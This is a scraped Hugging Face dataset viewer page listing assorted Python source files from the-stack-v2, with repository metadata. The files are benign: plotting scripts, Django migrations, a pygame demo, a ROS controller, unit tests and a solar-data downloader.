Reset23/the-stack-v2-new-python · Datasets at Hugging Face

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import os import sys sys.path.insert(1, os.path.join(sys.path[0], '../../..')) import app.calculator.calculator as calc from app import testing_helpers attacker, defender, options, tol = testing_helpers.defaults() # target source: http://alphamou.se/ti4calc/ target = [4, 9, 87] # target percentages; [tie, attacker, defender] print("1 Infantry vs 2 Infantry") # Units attacker["infantry"] = 1 defender["infantry"] = 2 # Factions # Ground Combat options["ground_combat"] = True # Options outcomes = calc.calculate(attacker, defender, options) testing_helpers.evaluate(outcomes, target, tol)

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import numpy as np import os import string from bisect import bisect_left # for BilinearInterpolation import matplotlib.pyplot as plt import matplotlib.cm as cm import colorsys #from matplotlib import rc matrix_Logdelta_LogT_H2 = 'matrix_modif_Logdelta_LogT_H2.dat' matrix_Logdelta_LogT_H2_tcool = 'matrix_modif_Logdelta_LogT_tcool.dat' #path_out = '/scratch2/dicerbo/destr/time1e5/first/' path_out = '/scratch2/dicerbo/destr/third/' path_plot = '/scratch2/dicerbo/destr/exit/time1e5/first/' path_exit = '/scratch2/dicerbo/destr/exit/compare/' path_two = '/scratch2/dicerbo/plot_path/very_def/' # global arrays: Temperature, H2OverDensity, H2Fraction, tcool to load UM's tables # T in K, tcool in Gyr T = None # dimension 1x50 Dens = None # dimension 1x50 FH2 = None # dimension 50x50 t_cool = None # dimension 50x50 def main(): comparison() #init_plot() def comparison(): print '\n\tWithin comparison function\n' #tmp = str(raw_input("\n\tEnter initial temperature of gas [Gyr] :> ")) tmp = '700' dir1 = path_out+'T'+tmp+'/' if not os.path.exists(dir1): print '\tError: directory ' + dir1 + 'doesent exist!\n\tExit' return 1. dir2 = path_two+'T'+tmp+'/' pathx = path_exit+'T'+tmp+'/' if os.path.exists(pathx): print '\n\tpath %s exist!'%(pathx) else: print '\n\tmaking directory' os.makedirs(pathx) print '\t%s created successfully'%(pathx) files = os.listdir(dir1) nametp = [] for name in files: if string.count(name, 'press') == 0: matrix = np.loadtxt(dir1+name, comments = '#') if len(matrix) > 3.: nametp.append(name) print '\tfile %s listed' % (name) else: print '\tfile %s skipped' % (name) #namedef = nametp[(len(nametp) - 7)] for namedef in nametp: print '\tPlotting ' + namedef + ' file!' mat1 = np.loadtxt(dir1+namedef, comments = '#') print '\tMatrix from ' + dir1+namedef + ' loaded; len: %g' % (len(mat1)) mat2 = np.loadtxt(dir2+namedef, comments = '#') print '\tMatrix from ' + dir2+namedef + ' loaded; len: %g' % (len(mat2)) #data to plot time1 = mat1[:,0] f1 = mat1[:, 3] time2 = mat2[:,0] f2 = mat2[:, 3] time1[time1 == 0.] = 1. time1 = np.log10(time1) time2[time2 == 0.] = 1. time2 = np.log10(time2) plt.figure() plt.plot(time1, f1, 'k.', label = 'destr') plt.plot(time2, f2, 'r-', label = 'full') ax = plt.gca() plt.legend(loc = 2) ax.set_xlabel('time (log t)') ax.set_ylabel('H2 Fraction') ax.set_title('H2 Fraction Evolution') newname = pathx + 'comparisonLog10P' + namedef[-8:-4] + '.jpg' plt.savefig(newname) plt.close('all') print '\n\t'+newname[len(pathx):]+' done\n' print '\n\tFinally end\n' def init_plot(): if os.path.exists(path_plot): print '\n\tpath %s exist!'%(path_plot) else: print '\n\tmaking directory' os.makedirs(path_plot) print '\t%s created successfully'%(path_plot) dirs = os.listdir(path_out) dirs.sort(); for d in dirs: if string.count(d, 'l') == 0 and string.count(d, 'T') == 1: print '\n\tStart working on '+ d #adjust(path_out, d) plot_def(d) print '\n\tEnd working on ' + d print '\n\tFinally End\n' def plot_def(directory): print '\n\tWithin plot function\n' #Load tcool matrix LoadMatrix(filename=matrix_Logdelta_LogT_H2_tcool) global T ; global Dens ; global FH2; global t_cool tcool = t_cool tcool[tcool > 0.] = np.log10(tcool[tcool > 0.]) v_min = -5 v_max = 7. tcool[tcool == 0.] = v_min tcool[tcool > v_max] = v_max tcool[tcool <= v_min] = v_max ''' H2 = FH2 H2[H2 > 0.] = np.log10(H2[H2 > 0.]) v_min = -6 v_max = -2. H2[H2 == 0.] = v_min H2[H2 > v_max] = v_max H2[H2 < v_min] = v_min ''' numlev = 15 dmag0 = (v_max - v_min) / float(numlev) levels0 = np.arange(numlev) * dmag0 + v_min #path's plot files = os.listdir(path_out+directory) files.sort() fls = files[:] press = np.zeros(len(files), dtype = float) j = 0 for name in files: if string.count(name, 'time') != 0: fls[j] = directory+'/'+name press[j] = float(name[(len(name)-8):-4]) j += 1 else: br = path_out + directory + '/' + name print "\n\tFile " + name + " is for Blitz&Rosolowsky's plot -> Continue\n" if j == len(files): filedef = fls[:] pdef = press[:] else: filedef = fls[:(j-len(files))] pdef = press[:(j-len(files))] pmax = pdef.max() pmin = pdef.min() h = np.zeros(pdef.size, dtype = float) ind = 0 for p in pdef: h[ind] = ((p-pmin) / (pmax-pmin))*250. ind += 1 cdef = [colorsys.hsv_to_rgb(x/360., 1., 1.) for x in h] #plots fig = plt.figure(figsize=(18,16)) figura = fig.add_subplot(2, 1, 1, adjustable='box', aspect = 1.1) plt.title('Paths in Phase Diagram\n', fontsize = 28) #figura = plt.contourf(Dens,T,H2,levels0,extend='both', cmap = cm.hot) figura = plt.contourf(Dens,T,tcool,levels0,extend='both', cmap = cm.hot_r) ax1 = plt.gca() ax1.set_xlim([Dens.min(), Dens.max()]) ax1.set_ylim([1., 5.]) for tick in ax1.xaxis.get_major_ticks(): tick.label.set_fontsize(17) for tick in ax1.yaxis.get_major_ticks(): tick.label.set_fontsize(17) cbar = plt.colorbar(figura,format='%3.1f', shrink=0.8) cbar.set_ticks(np.linspace(v_min,v_max,num=levels0.size,endpoint=True)) #cbar.set_label('H$_{2}$ fraction',fontsize=20) cbar.set_label('$\log_{10}t_{cool} [Gyr]$',fontsize=25) print "\n\tUmberto's matrix plotted\n" k = 0 for name in filedef: print '\tPlotting ' + name[(len(directory)+1):] + ' file' #figura = plt.plotfile(path_out+name, delimiter = '\t', cols=(1, 2), comments='#', color = cdef[k], marker='.', #mfc = cdef[k], mec = cdef[k], label = 'Log10P = '+str(pdef[k]), newfig=False) data = np.loadtxt(path_out+name, comments = '#'); data = data.T rho = data[1, :]; tmp = data[2, :] plt.plot(rho, tmp, color = cdef[k], marker='.', mfc = cdef[k], mec = cdef[k], label = 'Log10P = '+str(pdef[k])) k += 1 lgd = plt.legend(bbox_to_anchor=(1.55, 0.5), loc=5, borderaxespad=1.) plt.xlabel('$\log_{10}\\rho [g/cm^3]$',fontsize=25) ; plt.ylabel('$\log_{10} T[k]$',fontsize=25) #Blitz&Rosolowsky plot figura2 = fig.add_subplot(2, 1, 2, adjustable='box', aspect = 1.3) plt.title('Blitz & Rosolowsky\n', fontsize = 28) ax2 = plt.gca() newm = np.loadtxt(br, comments = '#'); newm = newm.T press = newm[0, :] br_ro = newm[3, :] fh2 = newm[4, :] ax2.set_xlim([3., 6.]) ax2.set_ylim([0., 1.02]) ax2.set_xlabel('$\log_{10} P/k_B [K/cm^3]$', fontsize = 25) ax2.set_ylabel('$f_{H2}$', fontsize = 25) plt.plot(press, br_ro, 'k-') plt.plot(press, fh2, 'b-') for tick in ax2.xaxis.get_major_ticks(): tick.label.set_fontsize(17) for tick in ax2.yaxis.get_major_ticks(): tick.label.set_fontsize(17) #scale figure2 scale = figura2.get_position().bounds newpos = [scale[0]*3./4. + 0.2, scale[1]*3./4., scale[2]*3./4., scale[3]*3./4.] figura2.set_position(newpos) newname = path_plot + 'path_' + directory + '.jpg' plt.savefig(newname, bbox_extra_artists=(lgd,), bbox_inches='tight') #plt.savefig(newname) plt.close('all') print '\n\t'+newname[len(path_plot):]+' done\n' def LoadMatrix(filename=False): """ This function loads one Umberto's file, returns the matrix and the corresponding edges """ global matrix_Logdelta_LogT_H2 global matrix_Logdelta_LogT_H2_tcool if filename==False: raise IOError('\n\t filename MUST be provided\n') # store the path of this module # locate = inspect.getfile(LoadMatrix) # dir_file = locate.replace('H2fraction.py','') # filename = dir_file+filename if not os.path.isfile(filename): raise IOError('\n\t filename ',filename,' NOT found\n') # load file matrix = np.loadtxt(filename,comments='#') # OverDensity edges global Dens ; global T ; global FH2 ; global t_cool Dens = matrix[0,:] # Temperature edges T = matrix[1,:] if filename == matrix_Logdelta_LogT_H2: FH2 = matrix[2:,:] elif filename == matrix_Logdelta_LogT_H2_tcool: t_cool = matrix[2:,:] else: raise IOError('\n\t It seems that ',filename,' does not exist\n') main()

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# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models, migrations class Migration(migrations.Migration): dependencies = [ ('artifact', '0002_auto_20150914_0908'), ] operations = [ migrations.AddField( model_name='artifact', name='heroTypeList_int', field=models.CharField(default=b'', max_length=200, verbose_name='\u88c5\u5907\u7684\u82f1\u96c4\u7684\u7c7b\u578b'), ), migrations.AddField( model_name='artifact', name='searchDifficuty_int', field=models.CharField(default=b'', max_length=200, verbose_name='\u6389\u843d\u5173\u5361\u96be\u5ea6'), ), migrations.AddField( model_name='artifact', name='searchInstances_int', field=models.CharField(default=b'', max_length=200, verbose_name='\u6389\u843d\u5173\u5361'), ), ]

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f = open("The Monkey's Paw.txt") content = f.read() lines = content.strip().split(); num = [int(x) for x in lines] array = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] for each in num: array[each] += 1 s = 0 for each in array: s += each for i in range(0, len(array)): array[i] = (array[i] + 0.0) / s print s, array

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main1015/pygame-demo

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# -*- coding: utf-8 -*- __author__ = 'Administrator' # Sample Python/Pygame Programs # Simpson College Computer Science # http://cs.simpson.edu ''' 使用鼠标移动一个图形 ''' import pygame # Define some colors black = ( 0, 0, 0) white = ( 255, 255, 255) blue = ( 50, 50, 255) green = ( 0, 255, 0) dkgreen = ( 0, 100, 0) red = ( 255, 0, 0) purple = (0xBF,0x0F,0xB5) brown = (0x55,0x33,0x00) # Function to draw the background def draw_background(screen): # Set the screen background screen.fill(white) def draw_item(screen,x,y): pygame.draw.rect(screen,green,[0+x,0+y,30,10],0) pygame.draw.circle(screen,black,[15+x,5+y],7,0) pygame.init() # Set the height and width of the screen size=[700,500] screen=pygame.display.set_mode(size) # Initial position of our object item_pos=-30 #Loop until the user clicks the close button. done=False # Used to manage how fast the screen updates clock=pygame.time.Clock() while done==False: for event in pygame.event.get(): # User did something if event.type == pygame.QUIT: # If user clicked close done=True # Flag that we are done so we exit this loop draw_background(screen) # Get the current mouse position. This returns the position # as a list of two numbers. pos = pygame.mouse.get_pos() # Fetch the x and y out of the list, just like we'd fetch letters out of a string. x=pos[0] y=pos[1] # Draw the item where the mouse is. draw_item(screen,x,y) # Go ahead and update the screen with what we've drawn. pygame.display.flip() # Limit to 20 frames per second clock.tick(20) pygame.quit ()

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from datetime import datetime ##create data structure that contains/represents all the information events = ["Interview at the Portal: Feb 23 2017 3:00PM - 4:30PM", "Lunch with Cindy: Feb 25 2017 12:00PM - 1:00PM", "Dinner with John: Feb 24 2017 5:00PM - 5:30PM", "Conference: Feb 24 2017 11:00AM - 4:30PM"] eventDict = dict() for eachEvent in events: eventandDatetime = eachEvent.split(": ",1) eventDict[eventandDatetime[0]] = eventandDatetime[1] ##Add 4 more vents to dataset making sure 2 added events overlap eventDict["Morning job"] = 'Nov 1 2017 12:00PM - 3:00PM' eventDict["Dinner with family"] = 'Nov 1 2017 10:00AM - 1:00PM' eventDict["Study for midterm"] = 'Feb 25 2017 1:00PM - 3:00PM' eventDict["Project Presentation"] = 'Nov 2 2017 12:00PM - 3:00PM' ##Develop algorithm to find overlapping events ##remake specific dictionary for event in eventDict: splitPart = eventDict[event].split("-") firstPart = splitPart[0].strip() secPart = splitPart[1].strip() eventDate = datetime.strptime(firstPart,'%b %d %Y %I:%M%p').date() eventStartTime = datetime.strptime(firstPart,'%b %d %Y %I:%M%p').time() eventEndTime = datetime.strptime(secPart,'%I:%M%p').time() eventDict[event] = dict() eventDict[event][eventDate] = (eventStartTime, eventEndTime) dateConflict = dict() ##check for date conflict for item in eventDict: for d in eventDict[item]: if d not in dateConflict: dateConflict[d] = [item] else: dateConflict[d].append(item) ##check for time conflict start = 0 end = 0 for eachDate in dateConflict: if len(dateConflict[eachDate]) > 1: for eachEvent in dateConflict[eachDate]: start = eventDict[eachEvent][eachDate][0] end = eventDict[eachEvent][eachDate][1]

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import rospy from geometry_msgs.msg import Twist from utils import * class Controller: kp = 0.4 ki = 0.01 kd = 0.5 I = 0 error = 0 old_error = 0 cmdvel_pub = None vellim = 0.8 move_kp = 1 move_kp_fast = 2 def __init__(self, cmdvel_pub): self.cmdvel_pub = cmdvel_pub def setAngle(self, setpoint_angle, odom_angle): self.I = constrain(self.I, 0.5) setpoint_angle = fix_angle(setpoint_angle, odom_angle[2]) self.error = (setpoint_angle - odom_angle[2]) threshold = 30 * math.pi / 180 if abs(self.error) < threshold: P = self.kp * self.error I = self.I + self.error * self.ki D = (self.error - self.old_error) * self.kd PID = P + I + D self.old_error = self.error # print(PID, error, angle, odom_angle[2]) return PID else: controller_val = 0.5 if self.error < 0: return -controller_val elif self.error > 0: return controller_val def moveCmd(self, x, y, rot): msg = Twist() x = constrain(x, self.vellim) y = constrain(y, self.vellim) msg.linear.x = y msg.linear.y = x msg.angular.z = rot self.cmdvel_pub.publish(msg) def moveLocal(self, x, y, odom): dx = x - odom.pose.pose.position.x dy = y - odom.pose.pose.position.y min_vel = 0.000 if 0 < dx < min_vel: dx = min_vel elif -min_vel < dx < 0: dx = -min_vel if 0 < dy < min_vel: dy = min_vel elif -min_vel < dy < 0: dy = -min_vel # move_cmd(0, 0, rot) self.moveCmd(dx, dy, 0) def moveGlobal(self, point, ang, odom, fast): x = point[0] y = point[1] if fast: kp_m = self.move_kp_fast else: kp_m = self.move_kp dx = (x - odom.pose.pose.position.x) * kp_m dy = (y - odom.pose.pose.position.y) * kp_m odom_angle = get_angle(odom) yaw = odom_angle[2] vel_ang = math.atan2(dy, dx) vel_mod = math.sqrt(dx ** 2 + dy ** 2) dang = vel_ang - yaw sy = math.sin(dang) cy = math.cos(dang) vx = vel_mod * cy vy = vel_mod * sy rot = -self.setAngle(ang, odom_angle) vx = constrain(vx, 1) vy = constrain(vy, 1) ang = fix_angle(ang, yaw) if not fast: if abs(ang - yaw) > 5 * math.pi / 180: vx = vy = 0 vx = constrain(vx, 1) vy = constrain(vy, 1) self.moveCmd(vx, vy, rot) else: vx = constrain(vx, 1.5) vy = constrain(vy, 1.5) self.moveCmd(vx, vy, rot) def stop(self): self.I = 0 self.moveCmd(0, 0, 0)

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#7.2.4 using break to exit a loop #while True开头的循环会的不断运行，直到遇到break #break不执行余下的代码并退出整个循环 prompt="\nPlease enter the name of cities you have visited: " prompt+="\n(Enter 'quit' when you are finished.) " while True: city=input(prompt) if city=='quit': break else: print("I'd love to go to "+city.title()+"!")

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__author__ = 'cdmonkey' __date__ = '2018/8/3 15:58' import xadmin from .models import City, CourseOrg, Teacher class CityAdmin: list_display = ["name", "desc", "add_time"] search_fields = ["name", "desc"] list_filter = ["name", "desc", "add_time"] class CourseOrgAdmin: list_display = ["name", "desc", "category", "image", "address", "city", "add_time"] search_fields = ["name", "desc", "category", "address", "city"] list_filter = ["name", "desc", "category", "image", "address", "city", "add_time"] class TeacherAdmin: list_display = ["name", "org", "work_years", "work_company", "work_position", "points", "add_time"] search_fields = ["name", "org", "work_years", "work_company", "work_position", "points"] list_filter = ["name", "org", "work_years", "work_company", "work_position", "points", "add_time"] xadmin.site.register(City, CityAdmin) xadmin.site.register(CourseOrg, CourseOrgAdmin) xadmin.site.register(Teacher, TeacherAdmin)

[ "brucemx@qq.com" ]

brucemx@qq.com

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/Portfolio/Prophy Science/test_task/app/migrations/0002_keyphrase_exist.py

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[]

no_license

HeCToR74/Python

e664b79593a92daa7d39d402f789812dfc59c19f

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refs/heads/master

2023-03-08T13:44:19.961694

2022-07-03T19:23:25

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2023-02-28T15:30:01

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# Generated by Django 3.0.6 on 2021-01-24 11:54 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('app', '0001_initial'), ] operations = [ migrations.AddField( model_name='keyphrase', name='exist', field=models.BooleanField(default=1), preserve_default=False, ), ]

[ "noreply@github.com" ]

HeCToR74.noreply@github.com

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/djangofour/first_app/migrations/0001_initial.py

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[]

no_license

098anu098/django-deployment

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2640cec0edd8b7a39febceb2c9479ac5ef9da319

refs/heads/master

2022-09-23T10:29:19.251290

2020-06-05T08:42:53

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# Generated by Django 3.0.6 on 2020-06-04 16:35 from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ] operations = [ migrations.CreateModel( name='UserInfo', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('portfolio', models.URLField()), ('picture', models.ImageField(upload_to='')), ('user', models.OneToOneField(on_delete=django.db.models.deletion.DO_NOTHING, to=settings.AUTH_USER_MODEL)), ], ), ]

[ "098anu098@gmail.com" ]

098anu098@gmail.com

ba011fc53d95bdff7c0a68055d7286baae096113

16db9aee91f511ee18736177befeaf32488a06cb

/randomNumber_backup_to_start_task14.py

2a99c5b530b7fcab2f399657fa1ad204195b7ee0

[]

no_license

AdotHahn/Course

9324c35982f5fbcd6d10acd18db518672a29cfd4

01b32e12ae0dff6b38c17869ec4fbddad7384770

refs/heads/master

2020-05-31T07:19:09.484835

2019-06-04T08:42:21

190,162,838

0

null

2019-06-04T08:41:13

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UTF-8

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py

#!/usr/bin/env python3 # -*- coding: utf-8 -*- # # team: teammember 1, teammember 2, teammember 3 # expert of exercise block 1: teammember 1 # temptest # what is happening to me? import random import time import sys from matplotlib import pyplot as plt def get_random_number_with_randint(start, end): num = random.randint(start, end) return num def write_log_file(outputfilename, data): f = open(outputfilename + ".log", "a") f.write("Our randomly generated number is " + str(data) + " (" + time.strftime("%H:%M:%S") + ")\n") f.close() def get_color_by_dice_roll(spots): colors = ["blue", "green", 'red', 'yellow', 'purple', 'orange'] return colors[spots-1] def get_color_by_dice_naive(spots): colours = ['blue', 'green', 'red', 'yellow', 'purple', 'orange'] return colours[spots-1] if __name__ == "__main__": outputfilename = "randomNumber" rolls_new = [] for i in range(6): roll = get_random_number_with_randint(1, 6) rolls_new.append(roll) print(rolls_new) sys.stdout.flush() color = get_color_by_dice_roll(roll) print("Last colour would be {}".format(color)) write_log_file(outputfilename, color) plt.barh(range(6), rolls_new) plt.show() input("enter to close")

[ "baltasar.ruechardt@ds.mpg.de" ]

baltasar.ruechardt@ds.mpg.de

cb1b755acd76f9db92cf7cb4a054a194126f2c56

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/aracle/data/make3dslices.py

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[ "MIT" ]

permissive

jiwoncpark/aracle

b536fbea39480b7af96daff1a9c51d2a7f131866

20aabe27ce65b738b77192242dc89eda612f945e

refs/heads/master

2020-06-03T15:21:35.386628

2019-11-12T17:49:34

191,626,657

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import drms #pip install drms, astropy, sunpy , skvideo import numpy as np import astropy.units as u import shutil import os import datetime import matplotlib.pyplot as plt import skvideo.io from astropy.io import fits from matplotlib.pyplot import imshow from PIL import Image from sunpy.map import Map from datetime import date, time, datetime, timedelta workdir = 'C:/Users/alexf/Desktop/HMI_Data/' fits_dir = workdir + 'fits/' if not os.path.exists(workdir): os.mkdir(workdir) print("Directory " + workdir + "does not exist. Creating...") start = datetime(2010,5,1,1,0,0)#date time object format is year, month, day, hour, minute, second end = datetime(2018,5,1,0,0,0) time_interval = timedelta(minutes = 60) #timedelta will accept weeks,days,hours,minutes and seconds as input chunk_size = 480 #chunk size is the number of hmi files downloaded in each export call. must be at least 1 export_protocol = 'fits'#using as-is instead of fits will result in important metadata not being downloaded email = 'hsmgroupnasa@gmail.com'#use a group email series = 'hmi.M_720s' if (end < start): print("The end date is before the start date. Please select an end date after the start date") #sys.exit() if not os.path.exists(fits_dir): os.mkdir(fits_dir) print("Directory " + fits_dir + "does not exist. Creating...") c = drms.Client(email=email, verbose = True) total = (end-start) // time_interval + 1 print('Downloading ' + str(total) + ' files') missing_files = [] def download(start,end,chunk_size,time_interval): current_time = start while(current_time<end): if (end-current_time > (time_interval * chunk_size)): time_chunk = (time_interval * chunk_size) else: time_chunk = end-current_time end_time = current_time + time_chunk current_timestring = current_time.strftime('%Y' + '.' + '%m' + '.'+'%d'+'_'+'%X') + '_UT' end_timestring = end_time.strftime('%Y' + '.' + '%m' + '.'+'%d'+'_'+'%X') + '_UT' query = series + '[' + current_timestring + '-' + end_timestring + '@' + str(time_interval.total_seconds()) + 's]' print('Query string: ' + query) try: r = c.export(query, protocol = export_protocol) r.download(fits_dir) exists = os.path.isfile(fits_dir + '.1') if exists:#if a fits file no longer exists, it will be downloaded as an empty .1 file. this deletes .1 files os.remove(fits_dir + '.1') raise ValueError('Fits file no longer exists. Deleting downloaded file...') except:#if files are missing from the server, the export call fails. this keeps track of missing files if (chunk_size == 1): missing_files.append(current_timestring) else: download(current_time,end_time,chunk_size//2,time_interval) current_time = end_time download(start,end,chunk_size,time_interval) print(missing_files) #delete all duplicate files test = os.listdir(fits_dir) for item in test: if item.endswith(".1"): os.remove(os.path.join(fits_dir, item)) Xdata_dir = workdir + 'Xdata/' if not os.path.exists(Xdata_dir): os.mkdir(Xdata_dir) print("Directory " + Xdata_dir + "does not exist. Creating...") fits_filenames = os.listdir(fits_dir) resizing = [256] for resize in resizing: resize_dir = Xdata_dir + str(resize) if os.path.exists(resize_dir):#delete any resizing directories matching the new resizes shutil.rmtree(resize_dir) os.makedirs(resize_dir)#creates new resize directories for filename in fits_filenames: #iterates over fits files and converts to a numpy array hmi_map = Map(fits_dir + filename) rotateddata90 = hmi_map.rotate(angle=90*u.deg, order = 0) rotateddata180 = rotateddata90.rotate(angle=90*u.deg, order = 0) data = rotateddata180.data data[np.where(np.isnan(data))] = 0.0 # replacing nans with 0s print('saving '+filename +' in sizes'+ str(resizing)) for resize in resizing:#resizes and saves numpy array data into given resizes resized_image = np.array(Image.fromarray(data).resize((resize,resize),Image.LANCZOS)) np.save(Xdata_dir + str(resize) + '/' + filename[:26] + '_'+ str(resize), resized_image)#saves series,time,and resize

[ "jiwon.christine.park@gmail.com" ]

jiwon.christine.park@gmail.com

97176f4b2cf2a2706ba0989eee781b449a4cf6b0

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/test/IECore/OptionsTest.py

f257f594de42cc75781eb2db60bfa267e5f96a44

[]

no_license

dsparrow27/cortex

f787cdcc271388986cd24ee27b48999ae71ef194

5e985efa860aec22a0c8ec6cebf9e682f65eca73

refs/heads/master

2021-08-19T06:30:36.881268

2017-11-23T08:26:13

null

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null

UTF-8

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py

########################################################################## # # Copyright (c) 2012, John Haddon. All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # # * Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # # * Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # # * Neither the name of Image Engine Design nor the names of any # other contributors to this software may be used to endorse or # promote products derived from this software without specific prior # written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS # IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, # THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR # PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR # CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, # EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, # PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR # PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF # LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING # NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS # SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. # ########################################################################## import unittest import IECore class OptionsTest( unittest.TestCase ) : def testCopy( self ) : o = IECore.Options() o.options["test"] = IECore.FloatData( 10 ) oo = o.copy() self.assertEqual( o, oo ) def testConstructFromDict( self ) : o = IECore.Options( { "a" : IECore.StringData( "a" ), "b" : IECore.IntData( 10 ), } ) self.assertEqual( len( o.options ), 2 ) self.assertEqual( o.options["a"], IECore.StringData( "a" ) ) self.assertEqual( o.options["b"], IECore.IntData( 10 ) ) def testHash( self ) : o1 = IECore.Options() o2 = IECore.Options() self.assertEqual( o1.hash(), o2.hash() ) o1.options["a"] = IECore.StringData( "a" ) self.assertNotEqual( o1.hash(), o2.hash() ) o2.options["a"] = IECore.StringData( "a" ) self.assertEqual( o1.hash(), o2.hash() ) if __name__ == "__main__": unittest.main()

[ "thehaddonyoof@gmail.com" ]

thehaddonyoof@gmail.com

583da391bcd6fac86e125c68704ba1188b5c76af

25112659fe41d94b5c046f0a17d6508a218f920a

/controllers/practica_3_1/funciones_manipulador.py

d4b3e89f271fce08031a8e993cd559860a723052

[]

no_license

lfrecalde1/KUKA_YOU_BOT_MANIPULADOR

c5e36bf2750484a2726cad707bd90f9b1eecdf9f

5200b80c3c1fbdf5a760b1ac6fe378b5767fadac

refs/heads/main

2023-01-11T12:40:36.195768

2020-11-24T03:43:31

315,459,785

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import numpy as np import matplotlib.pyplot as plt import matplotlib as mpl def grafica(sty,titulo,x,y,z,etiqueta,ejex,ejey,ejez,color): mpl.style.use(sty) ax=plt.axes(projection="3d") ax.set_title(titulo.format(sty), color='0') ax.set_xlabel(ejex) ax.set_ylabel(ejey) ax.set_zlabel(ejez) ax.plot3D(x, y, z, color, label=etiqueta) ax.grid(linestyle='--', linewidth='0.3', color='black') legend = ax.legend(loc='upper right', shadow=False, fontsize='small') plt.show() def grafica_c(sty,titulo,x,y,z,etiqueta,ejex,ejey,ejez,color,x_1,y_1,z_1,etiqueta_1,color_1): mpl.style.use(sty) ax=plt.axes(projection="3d") ax.set_title(titulo.format(sty), color='0') ax.set_xlabel(ejex) ax.set_ylabel(ejey) ax.set_zlabel(ejez) ax.plot3D(x,y,z, color, label=etiqueta) ax.plot3D(x_1,y_1,z_1,color_1,label=etiqueta_1) ax.grid(linestyle='--', linewidth='0.2', color='black') legend = ax.legend(loc='upper right', shadow=False, fontsize='small') plt.show() def home(arm_elements,tiempo_home,robot): # Envio de las velocidades de cada articualcion t_sample=0.1 t_final=tiempo_home+t_sample t=np.arange(0,t_final,t_sample) t=t.reshape(1,t.shape[0]) timestep = int(95)# 100 milisegundos equivale a 0.1 segundos for k in range(0,t.shape[1]): if robot.step(timestep) != -1: # Envio de las velocidades de cada articualcion arm_elements[0].setVelocity(0.5) arm_elements[1].setVelocity(0.5) arm_elements[2].setVelocity(0.5) arm_elements[3].setVelocity(0.5) arm_elements[4].setVelocity(0.5) # ENvio de posiciones para las articulaciones arm_elements[0].setPosition(0) arm_elements[1].setPosition(float(-np.pi/4)) arm_elements[2].setPosition(float(-np.pi/4)) arm_elements[3].setPosition(float(-np.pi/8)) arm_elements[4].setPosition(float(0)) print("SYSTEM HOME") def controlador(h,hd,hdp,q,qd,l0,l1,a1,l2,l3,l4,k1,k2,k3,k4): K1=k1*np.eye(3,3) K2=k2*np.eye(3,3) K3=k3*np.eye(5,5) K4=k4*np.eye(5,5) W=np.eye(5,5) W_1=np.linalg.inv(W) herr=hd-h nulo=qd-q I=np.eye(5,5) J11=np.sin(q[0,0])*(l2*np.sin(q[1,0])+l3*np.sin(q[1,0]+q[2,0])+l4*np.sin(q[1,0]+q[2,0]+q[3,0])-a1) J12=-np.cos(q[0,0])*(l2*np.cos(q[1,0])+l3*np.cos(q[1,0]+q[2,0])+l4*np.cos(q[1,0]+q[2,0]+q[3,0])) J13=-np.cos(q[0,0])*(l3*np.cos(q[1,0]+q[2,0])+l4*np.cos(q[1,0]+q[2,0]+q[3,0])) J14=-np.cos(q[0,0])*(l4*np.cos(q[1,0]+q[2,0]+q[3,0])) J15=0 J21=-np.cos(q[0,0])*(l2*np.sin(q[1,0])+l3*np.sin(q[1,0]+q[2,0])+l4*np.sin(q[1,0]+q[2,0]+q[3,0])-a1) J22=-np.sin(q[0,0])*(l2*np.cos(q[1,0])+l3*np.cos(q[1,0]+q[2,0])+l4*np.cos(q[1,0]+q[2,0]+q[3,0])) J23=-np.sin(q[0,0])*(l3*np.cos(q[1,0]+q[2,0])+l4*np.cos(q[1,0]+q[2,0]+q[3,0])) J24=-np.sin(q[0,0])*(l4*np.cos(q[1,0]+q[2,0]+q[3,0])) J25=0 J31=0 J32=-(l2*np.sin(q[1,0])+l3*np.sin(q[1,0]+q[2,0])+l4*np.sin(q[1,0]+q[2,0]+q[3,0])) J33=-(l3*np.sin(q[1,0]+q[2,0])+l4*np.sin(q[1,0]+q[2,0]+q[3,0])) J34=-(l4*np.sin(q[1,0]+q[2,0]+q[3,0])) J35=0 J=np.matrix([[J11,J12,J13,J14,J15],[J21,J22,J23,J24,J25],[J31,J32,J33,J34,J35]]) J_m=W_1@J.transpose()@np.linalg.inv(J@W_1@J.transpose()) control=J_m@(hdp+K2@np.tanh(np.linalg.inv(K2)@K1@herr))+(I-J_m@J)@K3@np.tanh(np.linalg.inv(K3)@K4@nulo) return control[0,0], control[1,0], control[2,0], control[3,0], control[4,0] def euler(z,zp,t_sample): z=z+zp*t_sample return z def tranformacion_cordenadas(x,y,z,phi): T=np.matrix([[np.cos(phi),-np.sin(phi),0],[np.sin(phi),np.cos(phi),0],[0,0,1]]) relativo=np.array([[x],[y],[z]]) real=T@relativo return real[0,0],real[1,0],real[2,0]

[ "lfrecalde1@espe.edu.ec" ]

lfrecalde1@espe.edu.ec

